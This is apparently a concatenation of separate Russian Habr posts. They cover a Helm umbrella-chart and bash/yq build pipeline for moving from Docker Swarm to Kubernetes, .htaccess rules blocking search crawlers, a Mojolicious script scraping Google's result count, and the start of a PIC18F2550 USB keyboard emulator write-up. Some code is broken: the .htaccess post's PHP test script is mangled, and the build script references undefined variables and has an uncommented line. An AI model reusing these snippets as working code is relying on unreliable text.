Развертывание под Docker SwarmОна успешно проработала несколько лет, но стала приносить все больше проблем:
* Невысокая отказоустойчивость схемы с одним входным Nginx
* С ростом числа приложений появилось много однотипных плейбуков и шаблонных файлов для сервисов Docker Swarm, их стало сложно поддерживать
* Просадки производительности оверлейной сети Docker Swarm: периодически без видимых причин она падала до нескольких мегабит/с на гигабитных линках
* Недостаточная гибкость в управлении ресурсами для приложений
* Неудобное управление внешним DNS для публикуемых сервисов через Ansible-модуль
* Неудобное управление TLS-сертификатами
В итоге мы приняли решение перевести систему в self-managed Kubernetes. При переводе мы сразу поставили задачу максимально автоматизировать генерацию манифестов для приложений и ресурсов. В идеале для стандартных случаев включение сервиса в систему должно требовать от разработчика только задания его конфигурации, ограничения по ресурсам и размещению сервиса. БД, сервисы монторинга и сбора логов мы оставили как есть, вне Kubernetes.
С переходом на Kubernetes мы решили принципиально не изменять процесс сборки и развертывания. Исторически для процесса развертывания у нас был выделен отдельный git-репозиторий (деплой-репозиторий), в котором сосредоточены все скрипты и конфиги деплоя. Деплой выполняется задачами Gitlab CI. При запуске CI-пайплайна ветки develop развертывается промышленная среда, при запуске пайплайна для ветки, связанной с задачей в трекере (начинается с уникального номера), развертывается тестовая среда. Для идентификации тестовых сред используется тот самый номер ветки. Минимально, что нужно сделать релиз-менеджеру или разработчику - это вписать нужные версии приложений и выполнить коммит. Весь остальной процесс выполняет пайплайн Gitlab CI. Его успешное завершение говорит о том, что развертывание выполнено и развернутая система работоспособна.
Развертывание под KubernetesВыбор инструментов
------------------
Одним из удобных инструментов, который позволял реализовать практически все вышеприведенные требования — Helm, пакетный менеджер для Kubernetes. Как написано на сайте helm.sh:
> Helm помогает управлять приложениями Kubernetes — Helm Charts помогут вам определить, установить и обновить даже самое сложное приложение Kubernetes.
>
>
Helm позволяет описать как отдельные приложения, так и системы в целом в виде набора так называемых "диаграмм" (charts) или пакетов. В официальной документации это понятие в основном не переводится, а часто их называют просто "чартами". Я буду пользоваться этим термином, чтобы избежать терминологической путаницы с "пакетами" и "диаграммами".
Очень кратко, чарт представляет собой набор файлов, содержащих шаблоны и параметры, из которых helm собирает манифесты для всех необходимых объектов Deployment, Service, Ingress, ConfigMap и т.п. Широкие возможности по шаблонизации позволяют определить достаточно универсальный шаблон и следовать принципу DRY.
Helm позволяет управлять процессом развертывания и сделать его атомарным и обратимым. Развертывание запускается одной командой helm update. Если процесс развертывания завершился неудачно, helm может выполнить автоматический откат. При этом он возвращает все объекты системы в соответствующее предыдущее состояние. А если что-то пошло не так, откат можно выполнить одной командой helm rollback.
Подробнее про helm можно почитать в [официальной документации](https://helm.sh/docs/) или, например, [здесь](https://habr.com/ru/company/mailru/blog/488192/).
Структура чартов
----------------
Сначала сформулируем основные принципы, закладываемые в основу архитектуры развертывания:
1. Развертывание системы описывается единым чартом (так называемый umbrella chart), чтобы иметь возможность разворачивать и откатывать его атомарно.
2. Чарт системы должен содержать минимальное число определяемых объектов, чтобы поддерживать слабую связность приложений.
3. Развертывание каждого приложения описывается в своем чарте (так называемый subchart), это позволит нам независимо изменять приложения.
4. Каждое приложение имеет свое уникальное имя, с помощью которого можно легко найти связанные с ним параметры. Используя имя приложения другие приложения могут получить параметры, необходимые для связи с ним (например, имя его сервиса).
5. Если для приложения определяется ingress, то только через поддомен, а не через путь. Это правило упрощает шаблонизацию определения для ingress, но от него можно отказаться при необходимости.
6. Чарт приложения в идеале не должен содержать других приложений в качестве зависимостей (исключение - для sidecar-контейнеров).
7. Следуем DRY: если какая-то часть манифеста или шаблона является универсальной, она должна быть вынесена на более высокий уровень абстракции. Цель понятна — иметь одну точку изменений.
8. Минимизируем ссылки на глобальные параметры основного чарта (.Values.global), особенно, если эти параметры относятся к одному из приложений. В идеале их вообще не должно быть. Это позволит нам исключить сложно управляемые неявные зависимости.
9. Все конфигурационные параметры приложений и другие переменные (например, DNS-имена сервисов) находятся только в одном месте — едином файле конфигурации системы, все приложения получают конфигурацию только из него.
10. Чарты не содержат секретов (хотя могли бы) и они не находятся под управлением helm. Мы сделали это сознательно, чтобы разделить процессы управления секретами и развертывания.
11. Чарты не предназначены для размещения на общедоступных ресурсах и отдельные приложения могут быть не функциональны вне системы.
Таким образом в итоге у нас должен получиться один чарт с одним уровнем из нескольких сабчартов. Мы вынесли определение и сборку чарта для каждого приложения в отдельный репозиторий вместе с основным чартом. Это позволило переиспользовать унифицированные шаблоны, как я расскажу дальше.
Процесс сборки чартов
---------------------
Как я уже отмечал, helm имеет широкие возможности по шаблонизации. Но, к сожалению шаблонизации, предлагаемой helm, оказалось недостаточно по нескольким причинам. Во-первых, невозможно шаблонизировать версии в файле Chart.yaml. Во-вторых, файлы values.yaml не могут содержать шаблонов. Существует обход этого через функцию [tpl](https://helm.sh/docs/howto/charts_tips_and_tricks/#using-the-tpl-function), однако он удобен не во всех случаях и имеет проблемы с [производительностью](https://github.com/helm/helm/issues/8002). Иногда проще и понятнее написать шаблонизируемые значения в виде замещаемого текста (placeholder), например так:
```
host: "api-%envTag%.somedomain.com"
```
Результирующий yaml с замещенными значениями можно получить одним вызовом sed.
Также, как инструмент внешней шаблонизации удобно использовать утилиту [yq](https://mikefarah.gitbook.io/yq/) для вставки, замены значений и объединения yaml файлов.
Алгоритм сборки всего чарта выполняется автоматически и в общем виде выглядит так:
1. Собираем сабчарт для каждого приложения используя типовые шаблоны.
2. Проставляем текущие версии во все Chart.yaml
3. На основе шаблонов готовим values.yaml для основного чарта.
4. Генерируем уникальную версию системы и вставляем ее в Chart.yaml для основного чарта.
5. Запускаем сборку и получаем релиз системы, описываемый чартом.
Если возникли вопросы по выбору технологий 1. Почему не использовать для этого kustomize? Кажется, что он более естественно решает задачи переопределения параметров конфигурации. Однако задачу начальной сборки однотипных манифестов без копирования кусков YAMLа он все равно не облегчает по сравнению с описанным в этой статье решением. И также kustomize не предоставляет средств управления развертыванием в кластере.
2. Зачем нужны yq и bash-скрипты, если все можно сделать через шаблонизацию самого helm’a? Ну во-первых, нам тогда придется использовать шаблоны в values.yaml, а это ухудшает читаемость, за счет многоуровневых конструкций с "|", либо выносом каждого такого шаблона в именованные, что также будет сложно поддерживать при большом числе почти однотипных шаблонов. При этом надо будет использовать "tpl" с известными проблемами с производительностью. Во-вторых, нам просто не очень нравятся выразительные средства такого {{ ... }} синтаксиса.
3. Почему sed, а не какой-нибудь шаблонизатор типа jinja? Потому, что нам надо было решить одну простую задачу - замену плейсхолдера, и прикручиваение дополнительных движков выглядит для этого несколько избыточным. К тому же синтаксис jinja конфликтовал бы с синтаксисом helm-шаблонов.
По ходу описания, я буду опускать некоторые "технические" части и детали, которые либо привязаны к нашей системе, либо легко могут быть дополнены читателем.
Основной chart и единая конфигурация
------------------------------------
Для начала создадим директории для основного чарта, сабчартов и типовых шаблонов.
```
mkdir oursystem # Основной chart
mkdir subcharts # Charts для приложений
mkdir templates # Переиспользуемые (типовые) шаблоны
mkdir templates/subchart # Типовые шаблоны для chart приложения
```
Мы решили ,что для исключения путаницы имя директории основного чарта должно совпадать с его названием, именно под ним он будет помещен в репозиторий и будет использоваться в командах helm. У нас он называется exerica, здесь я буду использовать oursystem. Создадим для него следующую структуру:
Структура основного чарта
```
oursystem/
├── .helmignore
├── Chart.yaml
└── templates/
├── _helpers.tpl
├── configmap.yaml
└── NOTES.txt
```
Тут совсем мало файлов, поскольку в этом чарте определяются только:
* зависимости в Chart.yaml
* общие именованные шаблоны в \_helpers.tpl
* единый конфиг системы в configmap.yaml
* сообщение, которое будет выведено после развертывания системы (NOTES.txt)
Параметры для всех приложений будут сгенерированы скриптом при сборке и записаны в values.yaml.
Определение единого конфига из configmap.yaml тоже совсем небольшое:
configmap.yaml
```
apiVersion: v1
kind: ConfigMap
metadata:
name: oursystem-config
data:
{{- include "toPropertiesYaml" .Values.global.configuration | indent 2 }}
```
Шаблон toPropertiesYaml конвертирует произвольный (почти) yaml в массив пар "ключ-значение", где ключ формируется как последовательность ключей на пути от корня yaml-объекта:
Из oursystem/templates/\_helpers.tpl
```
{{- define "joinListWithComma" -}}
{{- $local := dict "first" true -}}
{{- range $k, $v := . -}}{{- if not $local.first -}}, {{ end -}}{{ $v -}}{{- $_ := set $local "first" false -}}{{- end -}}
{{- end -}}
{{- define "toPropertiesYaml" }}
{{- $yaml := . -}}
{{- range $key, $value := $yaml }}
{{- if kindIs "map" $value -}}
{{ $top:=$key }}
{{- range $key, $value := $value }}
{{- if kindIs "map" $value }}
{{- $newTop := printf "%s.%s" $top $key }}
{{- include "toPropertiesYaml" (dict $newTop $value) }}
{{- else if kindIs "slice" $value }}
{{ $top }}.{{ $key }}: {{ include "joinListWithComma" $value | quote }}
{{- else }}
{{ $top }}.{{ $key }}: {{ $value | quote }}
{{- end }}
{{- end }}
{{- else if kindIs "slice" $value }}
{{ $key }}: {{ include "joinListWithComma" $value | quote }}
{{- else }}
{{ $key }}: {{ $value | quote }}
{{- end }}
{{- end }}
{{- end }}
```
(С) Этот шаблон был когда-то найден на просторах интернета и немного доработан. Буду признателен, если кто-нибудь укажет его авторство в комментах.
Создадим файл versions.yaml, определяющий версии приложений, которые будем развертывать.
versions.yaml
```
# Версии приложений для развертывания
versions:
webapi: "1.36.4082"
analytics: "0.1.129"
publicapi: "0.1.54"
# Аналогично для каждого приложения
...
# Условия развертывания приложений (что попадает в релиз, а что - нет)
conditions:
webapi:
enabled: true
analytics:
enabled: true
redis:
enabled: true
# Аналогично для каждого приложения
...
```
Все параметры конфигурации, которые будем выносить в единый конфиг системы, определим в одном файле templates/variables.yaml.
templates/variables.yaml
```
common:
envTag: "%envTag%"
envName: "oursystem-%envTag%"
internalProtocol: http
externalProtocol: https
...
webapi:
name: webapi
host: "api-%envTag%.somedomain.com"
path: "/api/v2"
analytics:
name: analytics
host: "analytics-%envTag%.somedomain.com"
path: "/api/v1"
redis:
name: redis
serviceName: redis-master
internalProtocol: redis
...
```
Этот файл мы пропустим через sed перед добавлением в чарт.
В дальнейшем в процессе сборки эти параметры дополняются "вычисляемыми" значениями, которые также нужны для конфигурирования приложений, например полный URL для ingress: ingressUrl. При сборке основного чарта эти параметры будут вставлены в секцию .Values.global.configuration и сформируют ConfigMap с единым конфигом системы. В частности, на них мы будем ссылаться в переменных окружения для контейнеров.
Таким образом можем передать параметры приложению webapi через переменные окружения, например такие:
* DEPLOY\_ENVIRONMENT — глобальное имя среды в которой функционирует приложение, берется из параметра common.envName
* ProcessingRemoteConfiguration\_\_RemoteAddress — адрес сервиса, с которым взаимодействует приложение webapi, берется из параметра processing.serviceUrl
Секция env из subcharts/webapi/values.yaml
```
env:
- name: DEPLOY_ENVIRONMENT
valueFrom:
configMapKeyRef:
name: oursystem-config
key: "common.envName"
- name: ProcessingRemoteConfiguration__RemoteAddress
valueFrom:
configMapKeyRef:
name: oursystem-config
key: "processing.serviceUrl"
...
```
Переменные среды считываются и передаются приложению при его запуске. Если при развертывании очередной версии системы какое-то приложение не поменялось, но поменялась конфигурация системы, то его под не будет перезапущен. Для решения этой проблемы удобно использовать контроллер [Reloader](https://github.com/stakater/Reloader), который отслеживает изменения объектов ConfigMap, Secret и производит плавающее обновление (rolling update) для подов, которые зависят от них. Мы включили его в состав системы, как внешнюю зависимость через helm chart. В нашем подходе это делается буквально в несколько строчек.
Добавление в систему "внешнего" приложенияВ oursystem/Chart.yaml
```
...
dependencies:
...
- name: reloader
version: ">=0.0.89"
repository: https://stakater.github.io/stakater-charts
condition: reloader.enabled
...
```
В versions.yaml
```
...
conditions:
...
reloader:
enabled: true
...
```
Унификация шаблонов
-------------------
Создадим первый сабчарт при помощи скаффолдинга helm (имя должно соответствовать имени приложения).
```
helm create subcharts/webapi
```
Получим каталог со следующими файлами:
Результат скаффолдинга Helm
```
webapi/
├── .helmignore
├── Chart.yaml
├── values.yaml
├── charts/
└── templates/
├── tests/
├── _helpers.tpl
├── deployment.yaml
├── hpa.yaml
├── ingress.yaml
├── NOTES.txt
├── service.yaml
└── serviceaccont.yaml
```
Назначение всех этих файлов отлично описано в официальной [документации](https://helm.sh/docs/chart_template_guide/getting_started/). Обратим внимание на директорию templates: все шаблоны в ней, вообще говоря, слабо зависят от приложения. Чтобы не нарушать DRY вынесем их в templates/subchart:
```
mv subcharts/webapi/templates* templates/subchart
```
Тут можно удалить ненужные шаблоны. Например,можно не использовать NOTES.txt для отдельных приложений. Также я опущу все, что касается тестов. При необходимости шаблонизацию тестов можно реализовать полностью аналогично.
Создадим файл templates/resources.yaml, в котором соберем все определения для ресурсов, выделяемых приложениям.
Секция одного приложения в templates/resources.yaml
```
...
webapi:
replicaCount: 2
resources:
limits:
cpu: 6
memory: 4Gi
requests:
cpu: 500m
memory: 512Mi
...
```
Все фиксированные параметры для values.yaml соберем в отдельном файле values.templ.yaml, такие как параметры "внешних" зависимостей, например redis.
Конфигурация redis из values.templ.yaml
```
...
redis:
redisPort: 6379
usePassword: false
architecture: standalone
cluster:
enabled: false
slaveCount: 0
master:
extraFlags:
- "--maxmemory 1gb"
- "--maxmemory-policy allkeys-lru"
persistence:
enabled: true
size: 2Gi
metrics:
enabled: true
```
Также вынесем типовое определение для ingress из values.yaml в templates/values.ingress.yaml.
templates/values.ingress.yaml
```
enabled: true
annotations:
kubernetes.io/ingress.class: nginx
hosts:
- host: "%ingressHost%"
paths:
- path: /
backend:
service:
name: "%serviceName%"
tls:
- hosts:
- "%ingressHost%"
```
Этот файл мы пропускаем через sed перед добавлением в чарт.
Таким образом мы получим структуру шаблонных файлов из которых затем собирается единый чарт нашей системы:
* oursystem — минимальный основной чарт
* subcharts — файлы вложенных чартов, которые не могут быть унифицированы, либо их унификация нецелесообразна
* templates — шаблоны для формирования параметров для всех сабчартов
* templates/subcharts — унифицированные helm-шаблоны для объектов сабчартов
Общая струкрура шаблонных файлов
```
build_chart.sh
versions.yaml
oursystem/
├── .helmignore
├── Chart.yaml
├── templates/
│ ├── _helpers.tpl
│ ├── configmap.yaml
│ └── NOTES.txt
├── subcharts/
│ ├── analytics/
│ │ ├── Chart.yaml
│ │ └── values.yaml
│ │ ...
│ └── webapi
│ ├── Chart.yaml
│ └── values.yaml
└── templates/
├── resources.yaml
├── values.templ.yaml
├── values.ingress.yaml
├── variables.yaml
└── subchart/
├── deployment.yaml
├── hpa.yaml
├── ingress.yaml
├── service.yaml
└── serviceaccount.yaml
```
Из файлов values.\*.yaml, variables.yaml и resources.yaml из директории templates в итоге собирается файл values.yaml.
Создадим скрипт для сборки build\_chart.sh, воспроизводящий алгоритм сборки, описанный выше. Привожу его частями для удобства восприятия.
build\_chart.sh (часть 1)
```
#!/bin/bash
# Определяем "глобальные" переменные сборочного скрипта
SUBCHARTS_PATH="subcharts"
SUBCHART_SCRIPTS_PATH="subchart-scripts"
TEMPLATES_PATH="templates"
MAIN_CHART_PATH="oursystem"
VERSIONS_FILE="versions.yaml"
VALUES_TEMPL_FILE="$TEMPLATES_PATH/values.templ.yaml"
MAIN_CHART_FILE="$MAIN_CHART_PATH/Chart.yaml"
MAIN_VALUES_FILE="$MAIN_CHART_PATH/values.yaml"
VARIABLES_FILE="$TEMPLATES_PATH/variables.yaml"
TMP_PATH="tmp"
SUBCHARTS_TMP_PATH="$TMP_PATH/subcharts"
CONFIG_TMP_FILE="$TMP_PATH/configuration.yaml"
OVERRIDES_TMP_FILE="$TMP_PATH/overrides.yaml"
# Копируем charts приложений во временную директорию
cp -r "$SUBCHARTS_PATH/" "$SUBCHARTS_TMP_PATH"
# Заменяем тэг среды, читаем конфигурационные переменные и версии
# $BRANCH_NUM определяется в CI пайплайне как номер ветки
# Для ветки develop BRANCH_NUM=dev
yaml=$(sed "s/%envTag%/$BRANCH_NUM/g" "$VARIABLES_FILE" | yq r - --stripComments)
versions=$(yq r "$VERSIONS_FILE" "versions" --stripComments)
conditions=$(yq r "$VERSIONS_FILE" "conditions" --stripComments)
```
build\_chart.sh (часть 2)
```
# Считываем значения общих параметров
env_name=$(echo "$yaml" | yq r - "common.envName")
internal_proto=$(echo "$yaml" | yq r - "common.internalProtocol")
external_proto=$(echo "$yaml" | yq r - "common.externalProtocol")
# Формируем секцию для единого конфига системы
echo "$yaml" | yq p - "global.configuration" > $CONFIG_TMP_FILE
echo "" > $OVERRIDES_TMP_FILE
for key in $(echo "$yaml" | yq r - -p p "*")
do
# Перебираем все секции из templates/variables.yaml
if [[ $key != "common" ]]
then
# Копируем типовые шаблоны в subchart
# Если в subchart какой-то шаблон переопределен, он не заменяется
mkdir -p "$SUBCHARTS_TMP_PATH/$key/templates"
cp -n templates/subchart/*.yaml "$SUBCHARTS_TMP_PATH/$key/templates"
# Определяем параметры для приложения
full_name="$env_name-$key"
version=$(echo "$versions" | yq r - "$key")
ingress=$(echo "$yaml" | yq r - "$key.host")
path=$(echo "$yaml" | yq r - "$key.path")
internal_proto_current=$(echo "$yaml" | yq r - "$key.internalProtocol")
external_proto_current=$(echo "$yaml" | yq r - "$key.externalProtocol")
service_name=$(echo "$yaml" | yq r - "$key.serviceName")
sidecar_name=$(echo "$yaml" | yq r - "$key.sidecar.name")
if [[ -z "$internal_proto_current" ]]
then
internal_proto_current=$internal_proto
fi
if [[ -z "$external_proto_current" ]]
then
external_proto_current=$external_proto
fi
# Записываем “вычисляемые” параметры приложения
if [[ -z "$service_name" ]]
then
# Полное имя сервиса, если оно шаблонное
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.service" \
"$full_name"
# Полный URL для сервиса
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.serviceUrl" \
"$internal_proto_current://$full_name$path"
else
# Полное имя сервиса, если оно задано в конфигурации
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.service" \
"$env_name-$service_name"
# Полный URL для сервиса
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.serviceUrl" \
"$internal_proto_current://$env_name-$service_name$path"
fi
if [[ ! -z "$ingress" ]]
then
# Полный URL для Ingress приложения
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.ingressUrl" \
"$external_proto_current://$ingress$path"
fi
if [[ ! -z "$version" ]]
then
# Записываем текущую версию приложения
yq w -i "$CONFIG_TMP_FILE" "global.configuration.$key.version" \
"$version"
fi
# Переопределяем имя приложения
yq w -i "$OVERRIDES_TMP_FILE" "$key.nameOverride" "$key"
yq w -i "$OVERRIDES_TMP_FILE" "$key.fullnameOverride" "$full_name"
# Add an
ingress_host=$(echo "$yaml" | yq r - "$key.host")
if [[ ! -z "$ingress_host" ]]
then
# Добавляем определение для ingress на основе типового шаблона
sed "s/%ingressHost%/$ingress_host/g" "$INGRESS_TEMPL_FILE" | \
sed "s/%serviceName%/$full_name/g" - | \
yq r - --stripComments | yq p - "$key.ingress" | \
yq m -i "$OVERRIDES_TMP_FILE" -
else
# Отключаем ingress, если он не нужен
yq w -i "$OVERRIDES_TMP_FILE" "$key.ingress.enabled" "false"
fi
# Записываем версию в subchart
if [[ ! -z "$version" ]]
then
subchart="$SUBCHARTS_TMP_PATH/$key/Chart.yaml"
yq w -i "$subchart" 'appVersion' "${version}"
yq w -i "$subchart" 'version' "${version}"
fi
fi
done
```
Можно заметить, что секция configuration тут записывается в .Values.global, хотя мы ранее вводили принцип №8 (не использовать global). На самом деле это не обязательно, но для некоторых наших приложений приходилось "готовить" сложные конфигурации, собирая их из параметров секции configuration при помощи шаблонизатора helm (поскольку мы живем не в идеальном мире). Если такой необходимости нет, можно помещать configuration просто в .Values основного чарта.
build\_chart.sh (часть 3)
```
# Формируем версию системы
version=$(yq r ${MAIN_CHART_FILE} "version" --stripComments)
IFS=. read major minor build <<< "${version}"
if [[ -z "${BRANCH_NUM}" ]]
then
build="${CI_PIPELINE_IID}" # Уникальный инкрементный номер пайплайна из Gitlab CI
else
build="${CI_PIPELINE_IID}-env${BRANCH_NUM}"
fi
version="${major}.${minor}.${build}"
# Записываем версию в основной chart
yq w -i "${MAIN_CHART_FILE}" 'appVersion' "${version}"
yq w -i "${MAIN_CHART_FILE}" 'version' "${version}"
# Формируем полный файл values.yaml для основного chart
yq r "$VALUES_TEMPL_FILE" --stripComments | \
yq m - "$OVERRIDES_TMP_FILE" "$RESOURCES_FILE" "$CONFIG_TMP_FILE" > $MAIN_VALUES_FILE
# Добавляем условия развертывания приложений
echo "$conditions" | yq m -i "$MAIN_VALUES_FILE" -
Собираем весь chart
helm dependency update ./oursystem --debug
helm package ./oursystem --debug
```
В результате работы скрипта мы получим релиз системы конкретной версии: скомпонованный чарт на всю систему, в котором определяются все зависимости и конфигурационные параметры для развертывания в кластере Kubernetes. При необходимости в процессе развертывания любые параметры основного чарта и сабчартов могут быть переопределены с помощью ключей --set или -f.
Атомарное развертывание релиза
------------------------------
Развертывание подготовленного релиза системы производится одной командой:
```
helm upgrade "${ENV_NAME}" "${CHART_NAME}" -i -n "${ENV_NAME}" --atomic --timeout 3m
```
В переменных окружения передаются:
* ENV\_NAME — имя среды для развертывания
* CHART\_NAME — полное имя собранного чарта системы (включая версию)
После подстановки переменных окружения команда будет выглядеть примерно так:
```
helm upgrade system-dev "system-1.2.3456.tgz" -i -n system-dev --atomic --timeout 3m
```
Как видно, каждая среда имеет свое пространство имен, таким образом даже одноименные объекты из разных сред в рамках одного кластера не конфликтуют по именам.
Флаг --atomic говорит о том, что helm будет ожидать в течение --timeout 3m успешного развертывания всех приложений. В случае ошибки или истечения таймаута произойдет автоматический откат на предыдущий релиз.
Варианты расширения функционала
-------------------------------
Для разных сред, например, промышленной и тестовых, можно создать разные variables.yaml, resources.yaml и подключать в скрипте сборки соответствующий среде файл. Например так:
Дополнение в build\_chart.sh
```
if [[ ! ${BRANCH_NUM} =~ ^-?[0-9]+$ ]] # Variable from Gitlab CI
then
VARIABLES_FILE="$TEMPLATES_PATH/variables.$CI_BUILD_REF_NAME.yaml" # Variable from Gitlab CI
RESOURCES_FILE="$TEMPLATES_PATH/resources.$CI_BUILD_REF_NAME.yaml" # Variable from Gitlab CI
else
VARIABLES_FILE="$TEMPLATES_PATH/variables.branch.yaml"
RESOURCES_FILE="$TEMPLATES_PATH/resources.branch.yaml"
fi
```
На самом деле, у нас как раз сделанно именно так, при этом используются разные параметры для промышленной и тестовых сред.
Можно отказаться от соответствия имен сабчартов и разворачиваемых приложений. Это может быть полезно при необходимости развернуть одно и то же приложение с разными настройками в рамках одного экземпляра системы.
Если будут заметны проблемы с производительнсотью сборки (а пока их нет), всю логику build\_chart.sh можно реализовать другими седствами не изменяя подхода и форматов шаблонов, например на python.
Все что описано в этой статье можно применить и при другом подходе к управлению версиями, когда допустимо автоматическое развертывание при выходе новой версии каждого приложения. В этом случае можно запускать CI пайплайн сборки чарта и развертывания по триггеру. А в скрипте сборки чарта поменять источник актуальных версий приложений.
Собранный чарт можно использовать для развертывания в совершенно другой среде, например, создавать отдельную среду под клиента/заказчика, которому нужна изоляция данных, либо для развертывания в инфраструктуре заказчика. Минимально достаточно для этого переопределить при деплое DNS-имена для ingress (например с помощью helm install -f ...). Данные для подключения в БД и т.п. приложения получают из объектов Secret, которые, как я упоминал выше, управляются отдельно от чарта.
Заключение
----------
При помощи различных инструментов шаблонизации мы можно создать довольно удобное в плане поддержки и масштабирования решение по описанию развертывания систем в Kubernetes. Широкие возможности для этого предлагает менеджер пакетов Helm. Но если добавить дополнительную шаблонизацию для генерации однотипных чартов helm, автоматически компоновать чарт для системы в целом, то довольно просто получается построить непрерывный процесс развертывания системы в Kubernetes, требующий минимального участия человека. При этом мы получаем возможность управления развертыванием: формирование релиза из любого набора конкретных версий компонентов, автоматическую проверку успешности развертывания и удобный откат к одному из предыдущих релизов. Переход на Kubernetes также сделал для нас доступным широкий спектр решений для автоматизации многих инфраструктурных задач. Например, для управления внешними DNS записями мы взяли [ExternalDNS](https://github.com/kubernetes-sigs/external-dns), а для для управления TLS-сертификатами — [cert-manager](https://cert-manager.io/docs/).
Что еще почитать по теме
------------------------
1. [The Chart Template Developer's Guide](https://helm.sh/docs/chart_template_guide/)
2. [The Art of the Helm Chart: Patterns from the Official Kubernetes Charts](https://dzone.com/articles/the-art-of-the-helm-chart-patterns-from-the-offici) ([перевод](https://habr.com/ru/post/547504/))
3. [Создание пакетов для Kubernetes с Helm: структура чарта и шаблонизация](https://habr.com/ru/company/flant/blog/423239/)
4. [Продвинутая Helm-шаблонизация: выжимаем максимум](https://habr.com/ru/company/flant/blog/529158/) | https://habr.com/ru/post/564294/ | null | ru | null |
# Запрет индексации сайта поисковыми ботами при помощи.htaccess
При активной разработке многие используют копии сайта в других доменах, для эксперементов или доработки сайтов (не на работающем же вносить изменения).
И вот многие сталкиваются с проблемой как отгородить поисковики от этого домена и притом оставить рабочую версию сайта.
Проще всего и без вмешательств в код это сделать при помощи .htaccess
Создаем файл .htaccess и пишем в нем:
`SetEnvIfNoCase User-Agent "^Yandex" search_bot
SetEnvIfNoCase User-Agent "^Yahoo" search_bot
SetEnvIfNoCase User-Agent "^igdeSpyder" search_bot
SetEnvIfNoCase User-Agent "^Robot" search_bot
SetEnvIfNoCase User-Agent "^Googlebot" search_bot
SetEnvIfNoCase User-Agent "^msnbot" search_bot
SetEnvIfNoCase User-Agent "^Aport" search_bot
SetEnvIfNoCase User-Agent "^Mail" search_bot
SetEnvIfNoCase User-Agent "^bot" search_bot
SetEnvIfNoCase User-Agent "^spider" search_bot
SetEnvIfNoCase User-Agent "^php" search_bot
SetEnvIfNoCase User-Agent "^Parser" search_bot
Order Allow,Deny
Allow from all
Deny from env=search_bot`
для проверки работоспособности можно использовать следующий PHP-скрипт
`php<br/
if(empty($_POST)) {
?>
Открываем сайт представлясь под любым User-Agent| User-Agent | |
ну вот теперь можно полностью эксперементировать и никто не узнает про существование экспериментальной копии Вашего сайта ;)` | https://habr.com/ru/post/20632/ | null | ru | null |
# Mojolicious v1.12
Я обнаружил что релиз замечательного перлового фреймворка Mojolicious на Хабре остался совершенно незамеченным. А тем временем, уже доступна версия v1.12, это *прискорбно*, т.к. теперь на перле стало писать проще чем никогда. Покажу это на реальном примере.
Недавно меня попросили написать простенький скрипт — запрашивать у гугла количество проиндексированных страниц сайта. Про Mojo\* я уже знаю [давно](http://habrahabr.ru/blogs/perl/65662/), но все никак не доходили руки его попробовать где-нибудь. Скрипт в примере ниже запускается в cgi, хотя можно крутить как под mod\_perl, так и под fastcgi.
Я использовал облегченную lite-версию, скрипт намеренно упрощен, для того чтобы показать идею как просто писать под Mojo\* и это действительно рабочий скрипт, а не вымученный синтетический пример из руководства:
```
#!/usr/bin/perl
use strict;
use Mojolicious::Lite;
use Mojo::UserAgent;
get '/' => sub {
my $self = shift;
my $site = $self->param('site'); # берется переменная из адресной строки
my $text;
if($site) {
my $ua = Mojo::UserAgent->new; # создаем объект UserAgent
# запрашиваем страницу по адресу "http://www.google.com/search?q=site%3A$site"
# и из полученной страницы берем содержимое блока
$text = $ua->get("http://www.google.com/search?q=site%3A$site")->res->dom->at('div#resultStats');
}
$self->render(
'index', # название шаблона
result => $text ? $text->text : '', # передаем в шаблон текст блока, если он есть
site => $site, # передаем в шаблон имя запрошенного сайта
);
};
app->start;
# ниже в этом же файле объявляем шаблон index.html.ep
\_\_DATA\_\_
@@ index.html.ep
<%= $result %>
site name:
```
Вот и все, проще даже чем на php :)
PS: совсем забыл упомянуть что у Mojolicious появилась вменяемая документация, с примерами: <http://mojolicio.us/perldoc>
PPS: фреймворк активно обновляется и как любезно [заметил](http://habrahabr.ru/blogs/perl/117693/#comment_3832746) [fuksito](http://habrahabr.ru/users/fuksito/) уже появилась версия 1.16, в которой исправлена [серьезная уязвимость](http://blog.kraih.com/mojolicious-116-emergency-release-please-upgr) | https://habr.com/ru/post/117693/ | null | ru | null |
# Простая эмуляция USB клавиатуры при помощи PIC18F2550 в CarPC на базе Android
Здравствуйте, уважаемые участники Habrahabr.
При том, что Хабр — портал, ориентированный на программистов, обратил внимание, что последнее время появляется много статей о программировании микроконтроллеров и создании девайсов на их базе. Решил поделиться одной своей разработкой. В прошлом я много писал для МК, даже работал разработчиком ПО и схемотехники в одной из фирм, а до этого программил на АСМе под Z80 и i8080. Сейчас, во взрослой жизни, в основном пишу на PHP/MySQL для собственных интернет-проектов и к программированию МК не возвращался очень давно. Назвать полноценным программистом я себя не могу, т.к. освоить, например, OOP так и не смог, но немного пишу на С по мере надобности.
Некоторое время назад у меня возникла задача создать эмулятор USB клавиатуры для CarPC проекта. Использоваться она должна была в магнитоле Becker BE2580, устанавливаемой на автомобили немецкого производства 2000-х годов. Эмулятор должен был опрашивать штатные кнопки магнитолы и генерировать нажатия на виртуальной USB клавиатуре, подключенной к материнской плате CarPC на базе Android. Что из этого получилось, под катом.
Вкратце о самом CarPC: изначально мне в голову пришла крамольная идея воткнуть в машину новомодную магнитолу на базе Android со съёмной передней панелью-планшетом, которую недавно начали выпускать китайские производители. Однако товарищи по автосообществу отговорили меня от этой идеи, призывая не нарушать классический облик салона автомобиля и дизайн, задуманный производителем. В результате, в магнитолу была встроена материнская плата от медиаплеера Iconbit Toucan Nano, установил я её на место кассетной лентопротяжки. При этом отметил как быстро развивается прогресс: решил ради интереса проверить кассетник, но дома не нашлось ни одной кассеты.
